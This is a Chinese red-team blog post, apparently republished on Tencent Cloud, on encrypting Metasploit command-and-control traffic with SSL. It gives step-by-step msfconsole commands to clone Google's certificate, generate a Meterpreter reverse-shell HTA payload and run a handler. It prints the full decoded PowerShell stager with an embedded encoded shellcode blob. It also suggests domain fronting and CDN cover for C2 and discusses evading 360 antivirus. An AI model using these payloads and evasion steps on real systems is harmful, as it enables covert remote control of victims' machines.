前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队战术-用ssl加密你的metasploit通信

红队战术-用ssl加密你的metasploit通信

作者头像
Gamma实验室
发布2023-09-13 18:48:43
2590
发布2023-09-13 18:48:43
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

点击蓝字关注我哦

前言

混淆是混淆不过人为分析的,只有加密才是yyds,而ssl加密是最常用的加密手段,比如c2上个ssl证书,配合一个aws

Amazon CloudFront 高度可信域名(也可以配合域前置,cloudflare是个不错的选择,最好去namesilo.com注册域名,能免费保护隐私),然后就嗯嗯啊啊啊,你懂的

基础知识

.csr-这是证书签名请求。某些应用程序可以生成这些文件以提交给证书颁发机构。实际格式为PKCS10,它在RFC 2986中定义。它包括所请求证书的一些/全部密钥详细信息,例如主题,组织,状态,诸如此类,以及要签名的证书的公共密钥。这些由CA签名并返回证书。返回的证书是公用证书(包括公用密钥,但不包含专用密钥),其本身可以有两种格式。

.pem-在RFC 1421至1424中定义,这是一种容器格式,可以只包含公共证书(例如Apache安装和CA证书文件/etc/ssl/certs),或者可以包括完整的证书链,包括公共密钥,私钥和根证书。令人困惑的是,由于PKCS10格式可以转换为PEM ,因此它也可能对CSR进行编码。该名称来自“ 隐私增强邮件(PEM)”,这是一种用于保护电子邮件的失败方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密钥的base64转换。

.key-这是PEM格式的文件,仅包含特定证书的私钥,仅是常规名称,而不是标准化名称。在Apache安装中,该位置通常位于中/etc/ssl/private。这些文件的权限非常重要,如果设置错误,某些程序将拒绝加载这些证书。

.pkcs12 .pfx .p12-最初由RSA在“ 公钥密码标准”(缩写为PKCS)中定义,“ 12”变体最初由Microsoft增强,后来提交为RFC 7292。这是包含公共和私有证书对的密码容器格式。与.pem文件不同,此容器是完全加密的。Openssl可以使用公钥和私钥将其转换为.pem文件:openssl pkcs12 -in file-to-convert.p12 -out converted-file.pem -nodes。

这次用的的就是pem文件,包含了一个完整的证书链,简单方便使用。

使用

首先得拿到一个比较nice的pem文件,使用kali中的Impersonate_SSL模块,该模块通过选项中提供的经过身份验证的源的SSL证书创建本地副本,可以在提供SSLCert选项的Metasploit的所有模块中使用。

代码语言:javascript
复制
use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhost  www.google.com
rhost => www.google.com
msf6 auxiliary(gather/impersonate_ssl) > run

这里我使用了代理,然后就获得google证书副本

生成木马文件,好像msfvenom不提供证书选项,所以只能老老实实的用msfconsole了

代码语言:javascript
复制
msf6 > use windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 payload(windows/meterpreter/reverse_tcp) > set lport 443
lport => 443
msf6 payload(windows/meterpreter/reverse_tcp) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf6 payload(windows/meterpreter/reverse_tcp) > set handlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
handlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 payload(windows/meterpreter/reverse_tcp) > generate -f hta-psh -o /root/patch.hta

设立监听:

代码语言:javascript
复制

msf6 exploit(multi/handler) > set paylod windows/meterpreter/reverse_https
paylod => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > set StageVerifySSLCert true
StageVerifySSLCert => true
msf6 exploit(multi/handler) > set hanlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
hanlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 exploit(multi/handler) > run

把生成hta文件拖到虚拟机,首先在没有360安全卫士和360杀毒的情况下进行测试。

代码语言:javascript
复制
rundll32.exe url.dll,OpenURL “patch.hta”

分析流量:从这里开始

就开始用ssl加密流量了。

后续安装了360安全卫士,360杀毒,静态无法查杀此hta马。

但是执行行为过不了,因为剖析次hta马,也是通过powershell去执行命令

把powershell要执行的base64字符串解码,发现,其继续内嵌powershell

代码语言:javascript
复制
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAHWIXWACA7VWbW/iOBD+3Er9D9EKKYkuhfCi3W2llc6BBugSCoR3Fq3cxICLE9PEgXJ7+99vDEnbvbZ3uyddBMKxZ8Yzz/N4zCIJPUF5qPyxU76dnZ50cIQDRcvxO3NhKLmkXapz/eQEVnKL7Vj5pGgztNnUeIBpOL+8rCZRREJxfM/XiUBxTIJbRkms6cqfymhFInJ+c3tHPKF8U3Jf83XGbzFLzfZV7K2Ico5CX661uIdlMnl3w6jQ1C9fVH12Xpznr+4TzGJNdfexIEHeZ0zVle+63LC/3xBNdagX8ZgvRH5Ew3IpPwhjvCBtiLYlDhEr7seqDkXAJyIiiUJFliP9j6uaCsNOxD3k+xGJY9VQZjLybD7/XZul2/aSUNCA5JuhIBHfuCTaUo/E+QYOfUZ6ZDEHL1dENFzOdR3MtnxNtFyYMGYovxJGa5NdBtrPOmnPncCqIyLdACJflulwP2Hk6Ki+kueBex2eR/4Bue9np2eni0wsvLenz+UCo5PZYUwgPa3DY3qw+6SYhuLATljwaA+vuX6UEH3+CK6SI+vrsWW8HaCYWYMt70kFzoac+nPwSAnN+cVuT86/LcwaWdCQ1PYhDqiXaU97DWayYORQYz4za0NOmpouEL9GGFliIZGTbL9wuwqoePS1Esp8EiEPqIohK2BR/zGZIxma2gwdEgBGx3eQX24BiieZdaryfba7fAcjtcpwHBtKJ4Ej5xmKSzAjvqGgMKbpEkoEPwzVp3SdhAnq4Vhk4eZ6hmO6X5WHsYgSD2iD2vvuhngUMwmFoTSoT6y9S5fZvuqrQFQxY3ASINIWiIAZCYArpBgiSPFIvJ53iWgGG0YCMDocfpvhJRz1VPAH+eAl8dW/p5gp+ihfCUaGwrMEgWGXcWEoQxoJ6CESWFDRf9z+Wfc4JFKNSMqFlh2RmbUXUti5ze3t1zupyhSZAw6RAAzsiAcWjsn7yrFXaO8KN7SD4Jk0Q+b412tabO7g68B34Cx+a3l02REmDxyvGnfq9kdEd8ud97GNPP/aJxfusCLcq6aodlCjS02rsvIssw/jQVNMmk3RrKNGf+Uxs1NrFNxJbNJdYyRjHWN4lUpjbKJyuXJTNtcA3YQWl2vktwO6e2jBGJriTctqxpbZZFfX1d7tqGRPR6xRqNirxYjH7vtJrVAoXPi45uwRsrhfdvbjYo/3G15gVUJeuKhW1ugKoWp4NbQt/nliRahTGOLlhu8+r1rL0rKKUP0DJdPuwLa6XdtCg/rdfe2isCxcjMZ4ZY2GJTrdjHsreLd3ja5TMCtNnzzwj60RHW5lLOvesqdjjFrTvV0oFCdxCa8tjiwA1p7eo/pqsrE7DPz7gxJHQ9Z+su02ap+9afFD7Hx6J4kGpnP07v4ZfW/1XwdH8QozoBU6a3acbB7ZaavscCo9NA3u1zWJQsLgdoL7KxMkYox7slEfWipcEsfWLW+SAQzLpVdHuvJoqD918Gzq8nIKOYLGDxrMt0i4FCvDfCibJrRj86FiQo0/X1iVb/baMZYh+7lE5jE4OwTXpfRzu+1N+H9Clh63Ffz4/wbZ09w/rP4UjKZxKPjF7I8Tv4ToL9Y9wlSAnQu9gpHjffV6+ak4nt3pkhJgfpE+8i/ZTSLO23DVn53+Bc0wY038CQAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

然后在安装了360安全卫士,360杀毒,继续执行

直接拦行为,就算我用powershell随便执行个1都会被拦,360说用powershell就是高位行为,我不管,必须拦死

后面继续研究怎么绕,不知道参数污染可以不,但是参数污染好像也不行,这放个1都拦。不愧是360安全卫士

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-27 00:00:00,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 基础知识
  • 使用
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档